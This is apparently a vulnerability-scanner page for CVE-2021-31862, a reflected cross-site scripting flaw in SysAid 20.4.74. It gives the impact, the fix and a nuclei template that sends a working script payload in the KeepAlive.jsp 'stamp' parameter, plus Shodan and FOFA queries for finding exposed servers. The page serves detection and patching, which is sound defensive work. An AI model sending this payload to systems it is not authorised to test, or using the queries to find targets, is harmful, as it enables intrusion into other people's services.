SysAid 20.4.74 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: (body == "false <script>alert(document.domain)</script>") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-31862 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31862

info:
  name: SysAid 20.4.74 - Cross-Site Scripting
  author: jas37
  severity: medium
  description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
    - https://www.sysaid.com/product/on-premise/latest-release
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31862
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31862
    cwe-id: CWE-79
    epss-score: 0.03985
    epss-percentile: 0.90585
    cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2021,cve,xss,sysaid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers:
      - type: dsl
        dsl:
          - '(body == "false <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and

References

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